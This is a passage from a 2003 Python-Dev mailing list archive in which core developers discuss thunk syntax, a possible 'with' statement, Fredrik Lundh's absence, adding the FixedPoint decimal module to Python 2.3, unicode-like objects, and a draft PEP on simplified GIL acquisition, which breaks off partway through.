> that the scope blending can be implemented using nested-scope cells.
> 
> Adding formal parameters to the second case would go like this:
> 
>   [<variable> =] <expression> lambda <arguments>:
>      <block>
> 
> One concern I have in both cases: I think there are use cases for
> wanting more than one block.  Glyph's example wants to define various
> callbacks for a remote call, and this would need multiple blocks.  I
> think the syntax for this would have to use some kind of keyword-based
> continuation, e.g.
> 
>   [<variable> =] <expression> lambda:
>     <block>
>   and <expression> lambda:
>     <block>
>   ...
> 
> Disclaimer: this is a half-baked idea.
> 
> --Guido van Rossum (home page: http://www.python.org/~guido/)

-- 
Marc-Andre Lemburg
CEO eGenix.com Software GmbH
_______________________________________________________________________
eGenix.com -- Makers of the Python mx Extensions: mxDateTime,mxODBC,...
Python Consulting:                               http://www.egenix.com/
Python Software:                    http://www.egenix.com/files/python/



From pedronis@bluewin.ch  Tue Feb  4 19:51:17 2003
From: pedronis@bluewin.ch (Samuele Pedroni)
Date: Tue, 4 Feb 2003 20:51:17 +0100
Subject: [Python-Dev] thunks
References: <GBEGLOMMCLDACBPKDIHFAECLDCAA.gsw@agere.com>
Message-ID: <04aa01c2cc86$c879baa0$6d94fea9@newmexico>

From: "Gerald S. Williams" <gsw@agere.com>
> Samuele Pedroni wrote:
> > > Can this be extended to allow multiple expressions
> > > to act on the thunk? That capability was in some of
> > > the earlier proposals. [...]
> >
> > this one has nothing to do with def () []
>
> Let me rephrase it, then. It looks like this thunk
> proposal allows:
>
>   def func(args):
>       code
>
> to be rewritten along the lines of:
>
>   func = function_def lambda args:
>       code
> but doesn't account for the functionality for which
> "def () []" is being suggested. Can we generalize it
> to account for both forms of def?

It also does not cover class-like defs (thing I have already remarked). Guido
has no bandwidth at the moment, so discussing about it is kind of pointless.
Anyway if your interpretation is right then:

func = compdef(function_def,synchronized) lambda args:
  ...

.







From gsw@agere.com  Tue Feb  4 20:23:07 2003
From: gsw@agere.com (Gerald S. Williams)
Date: Tue, 4 Feb 2003 15:23:07 -0500
Subject: [Python-Dev] thunks
In-Reply-To: <04aa01c2cc86$c879baa0$6d94fea9@newmexico>
Message-ID: <GBEGLOMMCLDACBPKDIHFOECMDCAA.gsw@agere.com>

Samuele Pedroni wrote:
> func = compdef(function_def,synchronized) lambda args:

I suppose that was a bad example. If we're sticking to
function modifiers, a better counter-example might be:
  func = function_def(synchronized,...) lambda args: ...

As you said, there's not much point discussing it at the
moment, but allowing multiple expressions without extra
levels of processing seems like it could have benefits.

-Jerry



From aleax@aleax.it  Tue Feb  4 20:23:10 2003
From: aleax@aleax.it (Alex Martelli)
Date: Tue, 4 Feb 2003 21:23:10 +0100
Subject: [Python-Dev] With statement
In-Reply-To: <3E3FF62B.12085.6FA6166@localhost>
References: <3E3FF62B.12085.6FA6166@localhost>
Message-ID: <200302042123.10803.aleax@aleax.it>

On Tuesday 04 February 2003 06:19 pm, Duncan Booth wrote:
> On 4 Feb 2003 at 17:02, Moore, Paul wrote:
> > # You do realise you can't use a raw file object here really?
>
> Unless of course the file object sprouted an __exit__ method.

Yep, just an
    __exit__ = close
in class scope would do it, if "class file(object):" was coded in Python;-)

> It's probably worth including the pro's and con's of that in
> your PEP.

Particularly the con's, if you can think of any.  Me, I can't.

> I can see people falling into the trap of expecting the file
> object to 'do the obvious thing' here (Neal Norwitz being the
> first, but almost certainly not the last).

Indeed, why _shouldn't_ file do the obvious thing?  Just
like it has a __del__ = close, so should it have an __exit__
(the latter only if with IS introduced, of course).


Alex



From pedronis@bluewin.ch  Tue Feb  4 20:44:20 2003
From: pedronis@bluewin.ch (Samuele Pedroni)
Date: Tue, 4 Feb 2003 21:44:20 +0100
Subject: trying times [Python-Dev] thunks
References: <200302031653.h13Grof20104@odiug.zope.com> <3E4019C5.2020408@lemburg.com>
Message-ID: <068a01c2cc8e$31e97140$6d94fea9@newmexico>

From: "M.-A. Lemburg" <mal@lemburg.com>
> Tim, what have you been putting into Guido's coffee the last few
> days ? Colons seem to have grown magical expressiveness and now he
> even likes lambdas ;-)
> 

these are trying times:

http://online.effbot.org/2003_02_01_archive.htm#python-dev




From guido@python.org  Tue Feb  4 20:57:14 2003
From: guido@python.org (Guido van Rossum)
Date: Tue, 04 Feb 2003 15:57:14 -0500
Subject: trying times [Python-Dev] thunks
In-Reply-To: Your message of "Tue, 04 Feb 2003 21:44:20 +0100."
 <068a01c2cc8e$31e97140$6d94fea9@newmexico>
References: <200302031653.h13Grof20104@odiug.zope.com> <3E4019C5.2020408@lemburg.com>
 <068a01c2cc8e$31e97140$6d94fea9@newmexico>
Message-ID: <200302042057.h14KvEI26727@odiug.zope.com>

> these are trying times:
> 
> http://online.effbot.org/2003_02_01_archive.htm#python-dev

What a shame.

Fredrik has been absent in spirit for a long time.  When was the last
time he participated in any kind of technical discussion, blue-sky or
other?  All we've heard from him recently were the occasional snide
remark aimed at new visitors who violate the unspoken code of behavior
here.  I haven't seen him fix any SRE bugs either, SF bugs assigned to
him for ages notwithstanding.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From whisper@oz.net  Tue Feb  4 21:34:17 2003
From: whisper@oz.net (David LeBlanc)
Date: Tue, 4 Feb 2003 13:34:17 -0800
Subject: trying times [Python-Dev] thunks
In-Reply-To: <200302042057.h14KvEI26727@odiug.zope.com>
Message-ID: <GCEDKONBLEFPPADDJCOEGEIPHNAA.whisper@oz.net>

Whatever he is doing now, his past contributions are worthy of our gratitude
and best wishes IMO.

Thanks Fredrik and best wishes!

sic transit gloria mundi. (Ok, that's a little over the top ;))

David LeBlanc
Seattle, WA USA

> -----Original Message-----
> From: python-dev-admin@python.org [mailto:python-dev-admin@python.org]On
> Behalf Of Guido van Rossum
> Sent: Tuesday, February 04, 2003 12:57
> To: Samuele Pedroni
> Cc: M.-A. Lemburg; Tim Peters; python-dev@python.org; Fredrik Lundh
> Subject: Re: trying times [Python-Dev] thunks
>
>
> > these are trying times:
> >
> > http://online.effbot.org/2003_02_01_archive.htm#python-dev
>
> What a shame.
>
> Fredrik has been absent in spirit for a long time.  When was the last
> time he participated in any kind of technical discussion, blue-sky or
> other?  All we've heard from him recently were the occasional snide
> remark aimed at new visitors who violate the unspoken code of behavior
> here.  I haven't seen him fix any SRE bugs either, SF bugs assigned to
> him for ages notwithstanding.
>
> --Guido van Rossum (home page: http://www.python.org/~guido/)
>
> _______________________________________________
> Python-Dev mailing list
> Python-Dev@python.org
> http://mail.python.org/mailman/listinfo/python-dev



From jeremy@zope.com (Jeremy Hylton)  Tue Feb  4 21:37:37 2003
From: jeremy@zope.com (Jeremy Hylton) (Jeremy Hylton)
Date: Tue, 4 Feb 2003 16:37:37 -0500
Subject: [Python-Dev] thunks
In-Reply-To: <3E4019C5.2020408@lemburg.com>
References: <200302031653.h13Grof20104@odiug.zope.com>
 <3E4019C5.2020408@lemburg.com>
Message-ID: <15936.12961.598773.128987@slothrop.zope.com>

>>>>> "MAL" == M  <M.-A.> writes:

  MAL> Tim, what have you been putting into Guido's coffee the last
  MAL> few days ?

Right idea, wrong question.  The only thing we've got in the office is
a colored beverage that is reminiscent of coffee.  You should ask what
Tim is putting in Guido's pickles.

Jeremy



From guido@python.org  Tue Feb  4 21:48:30 2003
From: guido@python.org (Guido van Rossum)
Date: Tue, 04 Feb 2003 16:48:30 -0500
Subject: trying times [Python-Dev] thunks
In-Reply-To: Your message of "Tue, 04 Feb 2003 13:34:17 PST."
 <GCEDKONBLEFPPADDJCOEGEIPHNAA.whisper@oz.net>
References: <GCEDKONBLEFPPADDJCOEGEIPHNAA.whisper@oz.net>
Message-ID: <200302042148.h14LmUN27061@odiug.zope.com>

> Whatever he is doing now, his past contributions are worthy of our gratitude
> and best wishes IMO.

Absolutely.

> Thanks Fredrik and best wishes!

I expect we haven't heard the last of him.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From pedronis@bluewin.ch  Tue Feb  4 21:51:05 2003
From: pedronis@bluewin.ch (Samuele Pedroni)
Date: Tue, 4 Feb 2003 22:51:05 +0100
Subject: trying times [Python-Dev] thunks
References: <200302031653.h13Grof20104@odiug.zope.com> <3E4019C5.2020408@lemburg.com>              <068a01c2cc8e$31e97140$6d94fea9@newmexico>  <200302042057.h14KvEI26727@odiug.zope.com>
Message-ID: <08af01c2cc97$84a79b60$6d94fea9@newmexico>

From: "Guido van Rossum" <guido@python.org>
> > these are trying times:
> >
> > http://online.effbot.org/2003_02_01_archive.htm#python-dev
>
> What a shame.
>
> Fredrik has been absent in spirit for a long time.  When was the last
> time he participated in any kind of technical discussion, blue-sky or
> other?  All we've heard from him recently were the occasional snide
> remark aimed at new visitors who violate the unspoken code of behavior
> here.  I haven't seen him fix any SRE bugs either, SF bugs assigned to
> him for ages notwithstanding.

Whatever, I have re-read my recent posts: I have posted too much and repeated
myself a bit, I don't think I have posted too much garbage. On the other  hand
it is such unexplored territory that it is hard to second-guess you. And the
discussion was sometimes very unfocused.

I think that people should have at least some kind of conceptual model or impl
idea of what they are talking about, unless it's you who are brainstorming.
Otherwise the other should invent it for them and it is basically working from
scratch and guess-work.

I hope people know they should do their homework or S/N suffers, OTOH sometimes
people are bad at judging themselves [apply recursively to the post].

I read comp.lang.lisp, I'm open-minded about snide remarks.





From whisper@oz.net  Tue Feb  4 22:02:49 2003
From: whisper@oz.net (David LeBlanc)
Date: Tue, 4 Feb 2003 14:02:49 -0800
Subject: [Python-Dev] thunks
In-Reply-To: <15936.12961.598773.128987@slothrop.zope.com>
Message-ID: <GCEDKONBLEFPPADDJCOEAEJDHNAA.whisper@oz.net>

Gee, I knew that timbot channeled Guido, but never knew about Tim and
Guido's pickles... Perhaps this should be left as a personal matter ;)

David LeBlanc
Seattle, WA USA

> -----Original Message-----
> From: python-dev-admin@python.org [mailto:python-dev-admin@python.org]On
> Behalf Of Jeremy Hylton
> Sent: Tuesday, February 04, 2003 13:38
> To: M.-A. Lemburg
> Cc: Tim Peters; python-dev@python.org
> Subject: Re: [Python-Dev] thunks
>
>
> >>>>> "MAL" == M  <M.-A.> writes:
>
>   MAL> Tim, what have you been putting into Guido's coffee the last
>   MAL> few days ?
>
> Right idea, wrong question.  The only thing we've got in the office is
> a colored beverage that is reminiscent of coffee.  You should ask what
> Tim is putting in Guido's pickles.
>
> Jeremy
>
>
> _______________________________________________
> Python-Dev mailing list
> Python-Dev@python.org
> http://mail.python.org/mailman/listinfo/python-dev



From tim.one@comcast.net  Tue Feb  4 22:18:32 2003
From: tim.one@comcast.net (Tim Peters)
Date: Tue, 04 Feb 2003 17:18:32 -0500
Subject: [Python-Dev] thunks
In-Reply-To: <3E4019C5.2020408@lemburg.com>
Message-ID: <BIEJKCLHCIOIHAGOKOLHAECLEMAA.tim.one@comcast.net>

[M.-A. Lemburg]
> Tim, what have you been putting into Guido's coffee the last few
> days ? Colons seem to have grown magical expressiveness and now he
> even likes lambdas ;-)

Guido recently had a birthday, and I think he finally realized that, if
things continue this way, someday he'll be as old as I am.  Strange things
happen when you realize your useful life is nearly over.  For example, when
that happened to me, I moved to Virginia.  Now Guido is about the age I was
then, so it's his turn to ruin his life.  Unfortunately, unlike me, he can
take the rest of us down with him <wink>.

first-you-soften-toward-lambda-then-you-seek-lawrence-welk-reruns-ly y'rs
   - tim



From skip@pobox.com  Tue Feb  4 23:08:56 2003
From: skip@pobox.com (Skip Montanaro)
Date: Tue, 4 Feb 2003 17:08:56 -0600
Subject: [Python-Dev] BUILDEXE erroneously empty on 2.2.2 for Mac OS X?
Message-ID: <15936.18440.704332.854883@montanaro.dyndns.org>

I just wiped my maint22 directory clean, did a cvs up, configure and make on
my Mac OS X machine.  BUILDEXE got set to the empty string, so the link step
for the interpreter failed.  Is this a known problem?  I haven't rebuilt
2.2.2 in awhile (since October).  This was a vanilla Unix build, nothing
fancy.

Thx,

Skip


From mclay@nist.gov  Tue Feb  4 23:43:30 2003
From: mclay@nist.gov (Michael McLay)
Date: Tue, 4 Feb 2003 18:43:30 -0500
Subject: [Python-Dev] Why did Fredrik leave the party?
In-Reply-To: <200302042057.h14KvEI26727@odiug.zope.com>
References: <200302031653.h13Grof20104@odiug.zope.com> <068a01c2cc8e$31e97140$6d94fea9@newmexico> <200302042057.h14KvEI26727@odiug.zope.com>
Message-ID: <200302041843.30945.mclay@nist.gov>

On Tuesday 04 February 2003 03:57 pm, Guido van Rossum wrote:
> > these are trying times:
> >
> > http://online.effbot.org/2003_02_01_archive.htm#python-dev
>
> What a shame.
>
> Fredrik has been absent in spirit for a long time.  When was the last
> time he participated in any kind of technical discussion, blue-sky or
> other?  All we've heard from him recently were the occasional snide
> remark aimed at new visitors who violate the unspoken code of behavior
> here.  I haven't seen him fix any SRE bugs either, SF bugs assigned to
> him for ages notwithstanding.

It looks like Fredrik is drifting away from Python development because Python 
has been drifting away from the original small-is-beautiful design. The 
energy going into the thunks and Extended Function threads has me baffled. 
Will the marginal gain in new applications that will be enabled by these 
features exceed the marginal loss in new Python programmers due to the 
increased learning threshold?  The creep is slow, but it is happening. 
Generators are cool once you understand them, but they raise the bar for 
someone new to the language. The same is true for list comprehension. And the 
proposed syntax changes I've seen in these thrreads are ugly. Please don't 
turn Python into Perl.

I thought the focus of development was going to put more energy into improving 
the standard library. For instance, Zope often works with SQL databases and 
those databases often contain financial data. How well does Python support 
this numerical requirement? According to IBM Technical Report TR03.413 [1], 
the numeric column breakdown by data type is:

   Type    Columns  percent     
 Decimal    251038   55.0    
 SmallInt   120464   26.4    
 Integer    78842    17.3    
 Float      6180     1.4

The Decimal type is the overwhelming winner because the Decimal type is 
required for financial calculations. This is a huge and important IT market 
segment. I submitted a patch that added a native fixed type to Python using 
Tim Peter's FixedPoint module, but it was rejected because I added syntax 
support for the new type. Please at least add Tim's FixedPoint module to the 
2.3 release. (The class should probably be renamed to something shorter like 
fpoint or fixed when it is added to the standard library.) 

[1] http://www2.hursley.ibm.com/decimal/decifaq1.html#dbstats



From just@letterror.com  Tue Feb  4 23:46:13 2003
From: just@letterror.com (Just van Rossum)
Date: Wed,  5 Feb 2003 00:46:13 +0100
Subject: [Python-Dev] Unicode-like objects
Message-ID: <r01050400-1023-DB26B4A9389A11D7B33C003065D5E7E4@[10.0.0.23]>

Unless I misunderstand, it's currently impossible to create an object
that behaves just like a unicode object unless the backing store is
compatible with a "real" unicode object (in which case the buffer
interface can be used). While browsing through the implementation I came
across this interesting XXX comment in unicodeobject.c:

PyObject *PyUnicode_FromObject(register PyObject *obj)
{
    /* XXX Perhaps we should make this API an alias of
           PyObject_Unicode() instead ?! */

If this were done, making unicode-like objects becomes possible:
PyObject_Unicode() actually calls __unicode__ whereas
PyUnicode_FromObject() currently requires a buffer. Is there any reason
why implementing what the comment suggests would be a bad idea?

(The use case is this. The PyObjC project marries Objective-C with
Python. This is cool as it gives us direct access to almost all of
Cocoa, the native OSX GUI interface. However, Cocoa defines its own
string type and for reasons that are waaay beyond the scope of this post
(check the archives of the pyobjc-dev list if you're really really
interested; see a recent thread called "NSString & mutability") it
appears a bad idea to _convert_ these strings to Python unicode strings.
So we need to wrap them. Yet they should work as much like unicode
strings as possible...)

Just


From guido@python.org  Wed Feb  5 01:39:01 2003
From: guido@python.org (Guido van Rossum)
Date: Tue, 04 Feb 2003 20:39:01 -0500
Subject: [Python-Dev] Unicode-like objects
In-Reply-To: "Your message of Wed, 05 Feb 2003 00:46:13 +0100."
 <r01050400-1023-DB26B4A9389A11D7B33C003065D5E7E4@[10.0.0.23]>
References: <r01050400-1023-DB26B4A9389A11D7B33C003065D5E7E4@[10.0.0.23]>
Message-ID: <200302050139.h151d1h21870@pcp02138704pcs.reston01.va.comcast.net>

> Unless I misunderstand, it's currently impossible to create an object
> that behaves just like a unicode object unless the backing store is
> compatible with a "real" unicode object (in which case the buffer
> interface can be used).  [...]

Can you explain what you mean by "behaves just like a unicode object"?

I'd think that's the crux of the matter.  Which operations do you want
to behave in a certain way that currently doesn't work?

E.g. are you interested in what happens when a real unicode object and a
pseudo-unicode object are combined in a binary operation?  Or when you
pass a pseudo-unicode object as an argument to a method of a real
unicode object?  Or when a pseudo-unicode is passed to some standard
function that expects a unicode object?

There are hundreds if not thousands (maybe even tens! :-) of places in
the Python source code where unicode objects are special-cased.  This
may be a practical burden against implementing what you want.

Maybe a refactoring of the unicode object can be considered that
allows what you want, but given the amount of delicate code (including
3rd party code like the Japanese codecs) that is involved, I doubt
that this will be easy...

--Guido van Rossum (home page: http://www.python.org/~guido/)


From guido@python.org  Wed Feb  5 02:07:55 2003
From: guido@python.org (Guido van Rossum)
Date: Tue, 04 Feb 2003 21:07:55 -0500
Subject: [Python-Dev] Why did Fredrik leave the party?
In-Reply-To: "Your message of Tue, 04 Feb 2003 18:43:30 EST."
 <200302041843.30945.mclay@nist.gov>
References: <200302031653.h13Grof20104@odiug.zope.com>
 <068a01c2cc8e$31e97140$6d94fea9@newmexico>
 <200302042057.h14KvEI26727@odiug.zope.com> <200302041843.30945.mclay@nist.gov>
Message-ID: <200302050207.h1527tf21975@pcp02138704pcs.reston01.va.comcast.net>

Hi Michael,

That's a slightly sneaky subject line for a feature request.  But I'll
forgive you because you got my attention. :-)

> It looks like Fredrik is drifting away from Python development
> because Python has been drifting away from the original
> small-is-beautiful design. The energy going into the thunks and
> Extended Function threads has me baffled.

No need to be baffled.  There are many different people here with
vastly different interests and ideas.  That's what I like about this
community: there's always something new being explored. Sometimes a
bunch of people get excited over a new idea and try to hash out what
the best way to implement is.  Sometimes they get a little too
excited; then it stops.  Sometimes it's decimal numbers, another time
it's thunks.

> Will the marginal gain in new applications that will be enabled by
> these features exceed the marginal loss in new Python programmers
> due to the increased learning threshold?  The creep is slow, but it
> is happening.

Understood.  I hope you also understand that the syntax extension
ideas being discussed are (a) far from sure to have any impact on
Python's design at all, and (b) certain not to affect Python 2.3.

> Generators are cool once you understand them, but they raise the bar
> for someone new to the language.

That all depends.  You don't have to teach generators at all in an
introductory course -- you don't even have to teach iterators.  But
all this has been discussed many times before here in numerous
threads.  My personal opinion is that generators make certain kinds of
code so much easier to write that the benefits far outweigh the cost.

> The same is true for list comprehension. And the proposed syntax
> changes I've seen in these thrreads are ugly. Please don't turn
> Python into Perl.

Maybe they're ugly because I had to withdraw (temporarily) from the
thread due to lack of time?  These days, I can only argue about
language changes in my spare time...

> I thought the focus of development was going to put more energy into
> improving the standard library. For instance, Zope often works with
> SQL databases and those databases often contain financial data. How
> well does Python support this numerical requirement? According to
> IBM Technical Report TR03.413 [1], the numeric column breakdown by
> data type is:
> 
>    Type    Columns  percent     
>  Decimal    251038   55.0    
>  SmallInt   120464   26.4    
>  Integer    78842    17.3    
>  Float      6180     1.4
> 
> The Decimal type is the overwhelming winner because the Decimal type
> is required for financial calculations. This is a huge and important
> IT market segment. I submitted a patch that added a native fixed
> type to Python using Tim Peter's FixedPoint module, but it was
> rejected because I added syntax support for the new type. Please at
> least add Tim's FixedPoint module to the 2.3 release. (The class
> should probably be renamed to something shorter like fpoint or fixed
> when it is added to the standard library.)
> 
> [1] http://www2.hursley.ibm.com/decimal/decifaq1.html#dbstats

Very sneaky, to start with a gripe about language growth and end with
a plea for your favorite language addition. :-)

I'm not convinced that decimal arithmetic is Python's next frontier or
that it would make a difference to improve Python's adoption.  I'm
also not convinced that it makes no difference, but as you know, you
can prove anything with statistics (not to mention the fact that 90%
of statistics are made up), and I note that the URL you quote mentions
commercial databases owned by major organizations.  This is a specific
segment of the IT market where it's no surprise that decimal numbers
are in the majority.

Let me counter with some more statistics.  The FixedPont module is
available from SourceForge.  It doesn't look like it's wildly popular
though: it has been downloaded 236 times since the first release last
August.  Some more statistics (that I swear I am not making up):
during the life of this project (since last August) a total of 3 bugs
were reported, zero patches, and one feature request.

I'll leave it to Tim to explain why he doesn't think this module
should be added to the standard library.  If he thinks it belongs
there, I certainly won't argue against it!

--Guido van Rossum (home page: http://www.python.org/~guido/)


From tim.one@comcast.net  Wed Feb  5 02:09:47 2003
From: tim.one@comcast.net (Tim Peters)
Date: Tue, 04 Feb 2003 21:09:47 -0500
Subject: [Python-Dev] Why did Fredrik leave the party?
In-Reply-To: <200302041843.30945.mclay@nist.gov>
Message-ID: <LNBBLJKPBEHFEDALKOLCIEALDMAB.tim.one@comcast.net>

[Michael McLay]
> ...
> I thought the focus of development was going to put more energy
> into improving the standard library.

2.3 has been very much about that, as Guido intended.  For example, I've
done no Python work beyond datetime and pickle development for nearly two
months now.  I doubt Guido wants focus to remain on the library exclusively
and forever more, though.

> For instance, Zope often works with SQL databases and those databases
> often contain financial data. How well does Python support this
> numerical requirement?

IMO, poorly out of the box.  But at the same time nobody in my Zope mgmt
chain has shown any interest in supporting work in this area (and yes, I've
asked -- it doesn't even get to the point of being a wish-list item, there's
simply no interest at all).

> According to IBM Technical Report TR03.413 [1], the numeric column
> breakdown by data type is:
>
>    Type    Columns  percent
>  Decimal    251038   55.0
>  SmallInt   120464   26.4
>  Integer    78842    17.3
>  Float      6180     1.4
>
> The Decimal type is the overwhelming winner because the Decimal type is
> required for financial calculations. This is a huge and important
> IT market segment.  I submitted a patch that added a native fixed type
> to Python using  Tim Peter's FixedPoint module, but it was rejected
> because I added syntax support for the new type.

Consistent with Guido's "new new syntax for 2.3" position.

> Please at least add Tim's FixedPoint module to the 2.3 release. (The
> class should probably be renamed to something shorter like
> fpoint or fixed when it is added to the standard library.)
>
> [1] http://www2.hursley.ibm.com/decimal/decifaq1.html#dbstats

Who are you asking?  I've said several times on python-dev and on c.l.py
that (a) Guido has already approved adding FixedPoint to 2.3; and, (b) I
can't make time for it (neither to do it, nor even to offer non-trivial
help).  If I can't make time for it, it's a sure bet nobody else at PLabs
will either.  In someone cares enough to do it and can make time for it,
there's nothing stopping it.



From tim.one@comcast.net  Wed Feb  5 02:20:51 2003
From: tim.one@comcast.net (Tim Peters)
Date: Tue, 04 Feb 2003 21:20:51 -0500
Subject: [Python-Dev] Why did Fredrik leave the party?
In-Reply-To: <200302050207.h1527tf21975@pcp02138704pcs.reston01.va.comcast.net>
Message-ID: <LNBBLJKPBEHFEDALKOLCKEAMDMAB.tim.one@comcast.net>

[Guido]
> ...
> Let me counter with some more statistics.  The FixedPont module is
> available from SourceForge.  It doesn't look like it's wildly popular
> though: it has been downloaded 236 times since the first release last
> August.  Some more statistics (that I swear I am not making up):
> during the life of this project (since last August) a total of 3 bugs
> were reported, zero patches, and one feature request.

The audience for decimal arithmetic isn't capable of implementing it, so the
lack of patches is no surprise.  The lack of bugs and feature requests is
largely explained by that I originally wrote it <wink>.  Meaning that it set
itself a well-defined task, and did the best possible numeric job within
that design from its first release.  There were never any bugs, although
rounding behavior is something different apps need to do in different ways,
and Doug Fort addressed that without going thru the SF bug/patch machinery.

> I'll leave it to Tim to explain why he doesn't think this module
> should be added to the standard library.  If he thinks it belongs
> there, I certainly won't argue against it!

I suggested adding it months ago, and you approved the idea then, provided
that I didn't do the work.  That's been communicated on python-dev and
c.l.py multiple times, but, so far, nobody has bit.



From whisper@oz.net  Wed Feb  5 03:10:40 2003
From: whisper@oz.net (David LeBlanc)
Date: Tue, 4 Feb 2003 19:10:40 -0800
Subject: [Python-Dev] Why did Fredrik leave the party?
In-Reply-To: <LNBBLJKPBEHFEDALKOLCKEAMDMAB.tim.one@comcast.net>
Message-ID: <GCEDKONBLEFPPADDJCOECEKMHNAA.whisper@oz.net>

<snip>
> I suggested adding it months ago, and you approved the idea then, provided
> that I didn't do the work.  That's been communicated on python-dev and
> c.l.py multiple times, but, so far, nobody has bit.
>

What _exactly_ would have to be done to prepare FixedPoint for 2.3?

this-is-a-nibble-not-a-bite-ly-yours

Dave LeBlanc
Seattle, WA USA



From Raymond Hettinger" <python@rcn.com  Wed Feb  5 03:11:12 2003
From: Raymond Hettinger" <python@rcn.com (Raymond Hettinger)
Date: Tue, 4 Feb 2003 22:11:12 -0500
Subject: [Python-Dev] Why did Fredrik leave the party?
References: <LNBBLJKPBEHFEDALKOLCKEAMDMAB.tim.one@comcast.net>
Message-ID: <002601c2ccc4$3d7aa7a0$125ffea9@oemcomputer>

> I suggested adding it months ago, and you approved the idea then, provided
> that I didn't do the work.  That's been communicated on python-dev and
> c.l.py multiple times, but, so far, nobody has bit.

Okay, I'll bite.

I read through SF site and the package
looks substantially complete.

What still needs to be done?


Raymond Hettinger


From tim_one@email.msn.com  Wed Feb  5 03:17:21 2003
From: tim_one@email.msn.com (Tim Peters)
Date: Tue, 4 Feb 2003 22:17:21 -0500
Subject: [Python-Dev] Why did Fredrik leave the party?
In-Reply-To: <GCEDKONBLEFPPADDJCOECEKMHNAA.whisper@oz.net>
Message-ID: <LNBBLJKPBEHFEDALKOLCGEGPDLAB.tim_one@email.msn.com>

[David LeBlanc]
> What _exactly_ would have to be done to prepare FixedPoint for 2.3?

You can't know until you try and see who whines about what.  For starters, a
naming debate.  Regardless, docs and test suite and code.  Doug Fort has an
excellent starti at:

    http://fixedpoint.sourceforge.net/

> this-is-a-nibble-not-a-bite-ly-yours

If you need all questions answered in advance, let go.  If I had time for
that, I'd have 10x more time than I needed to just do it <0.50001 wink>.



From tdelaney@avaya.com  Wed Feb  5 03:19:51 2003
From: tdelaney@avaya.com (Delaney, Timothy C (Timothy))
Date: Wed, 5 Feb 2003 14:19:51 +1100
Subject: [Python-Dev] Why did Fredrik leave the party?
Message-ID: <338366A6D2E2CA4C9DAEAE652E12A1DE07FD15@au3010avexu1.global.avaya.com>

> From: Tim Peters [mailto:tim_one@email.msn.com]
>
> <0.50001 wink>.

So exactly what floating point package are you using these days?

Tim Delaney


From tim_one@email.msn.com  Wed Feb  5 03:21:58 2003
From: tim_one@email.msn.com (Tim Peters)
Date: Tue, 4 Feb 2003 22:21:58 -0500
Subject: [Python-Dev] Why did Fredrik leave the party?
In-Reply-To: <002601c2ccc4$3d7aa7a0$125ffea9@oemcomputer>
Message-ID: <LNBBLJKPBEHFEDALKOLCGEHADLAB.tim_one@email.msn.com>

[Raymond Hettinger]
> ...
> What still needs to be done?

Heh.  You know the drill:  proceed as if it is essentially complete, and
then endure complaints <wink>.  As Michael noted, it needs a different name,
and one chosen with the possibility that Aahz will finish his decimal
library some day (no time to look up references, but it's all been discussed
on Python-Dev before).



From mhammond@skippinet.com.au  Wed Feb  5 03:33:52 2003
From: mhammond@skippinet.com.au (Mark Hammond)
Date: Wed, 5 Feb 2003 14:33:52 +1100
Subject: [Python-Dev] PEP Draft: Simplified Global Interpreter Lock acquisition for extensions
Message-ID: <006c01c2ccc7$6e6c8880$530f8490@eden>

This is a multi-part message in MIME format.

------=_NextPart_000_006D_01C2CD23.A1DD0080
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

Hi all,
  Following the thread of a couple of months ago, I have prepared a first
draft of a PEP.  There is still more detail to be filled in the
"implementation" area, but I would still like feedback on all other areas.

Thanks,

Mark.

------=_NextPart_000_006D_01C2CD23.A1DD0080
Content-Type: text/plain;
	name="pep_gil.txt"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment;
	filename="pep_gil.txt"

PEP: xxx
Title: Simple Global Interpreter Lock acquisition for extensions
Version: $Revision: $
Last-Modified: $Date: $
Author: Mark Hammond <mhammond@skippinet.com.au>
Status:=20
Type:=20
Content-Type: text/plain
Created: Feb-2003
Post-History:


Abstract

    This PEP proposes a simplified API for access to the Global =
Interpreter
    Lock (GIL) for Python extension modules.  Specifically, it provides =
a=20
    solution for authors of complex multi-threaded extensions, where the
    current state of Python (i.e., the state of the GIL, or if Python is =

    currently using the GIL, or indeed if Python has been initialized) =
is
    unknown.

    This PEP proposes a new, optional API to manage the Python thread=20
    state.  This API is almost certain to require a platform =
implementation of
    Thread Local Storage (TLS), which will form an optional extension to =
the
    existing "Python threading" implementation required for all=20
    threading-enabled Python platforms.  Thus, before this new API will
    be available on a given platform, the TLS extensions to that =
platform's
    Python threading API must be implemented.
   =20
    An initial implementation of this PEP will target the Windows =
platform,
    and any platforms using a modern "pthreads" [1] implementation.

Rationale

    The current Python interpreter state API is suitable for simple,=20
    single-threaded extensions, but quickly becomes incredibly complex
    for non-trivial, multi-threaded extensions.
   =20
    Currently Python provides two mechanisms for dealing with the GIL:
   =20
    - Py_BEGIN_ALLOW_THREADS and Py_END_ALLOW_THREADS macros.
      These macros are provided primarily to allow a simple Python =
extension
      that already owns the GIL to temporarily release it while making =
an
      "external" (ie, non-Python), generally expensive, call.  Any =
existing=20
      Python threads that are blocked waiting for the GIL are then free =
to=20
      run.
     =20
    - PyThreadState and PyInterpreterState APIs.
      These API functions allow an extension/embedded application to
      acquire the GIL, but suffer from a serious boot-strapping problem =
- they
      require you to know the state of the Python interpreter and of the =
GIL=20
      before they can be used.  One particular problem is for extension=20
      authors that need to deal with threads never before seen by =
Python, but
      need to call Python from this thread.  It is very difficult, =
delicate=20
      and error prone to author an extension where these "new" threads =
always=20
      know the exact state of the GIL, and therefore can reliably =
interact=20
      with this API.
     =20
    For these reasons, the question of how such extensions should
    interact with Python is quickly becoming a FAQ.  The main impetus
    for this PEP, a thread on python-dev [2], immediately identified the
    following projects with this exact issue:

    - The win32all extensions.
    - Boost
    - ctypes
    - Python-GTK bindings
    - Uno

    Currently, there is no reasonable, portable solution to this =
problem,
    forcing each extension author to implement their own hand-rolled=20
    version.  Further, the problem is complex, meaning many=20
    implementations are likely to be incorrect, leading to a variety of=20
    problems that will often manifest simply as "Python has hung."
   =20
    While the biggest problem in the existing thread-state API is the =
lack
    of the ability to query the current state of the lock, it is felt =
that
    a more complete, simplified solution should be offered to extension=20
    authors.  Such a solution should encourage authors to provide=20
    error-free, complex extension modules that take full advantage of=20
    Python's threading mechanisms.

Limitations and Exclusions

    This proposal identifies a solution for extension authors with =
complex
    multi-threaded requirements, but that only require a single=20
    "PyInterpeterState".  There is no attempt to cater for extensions
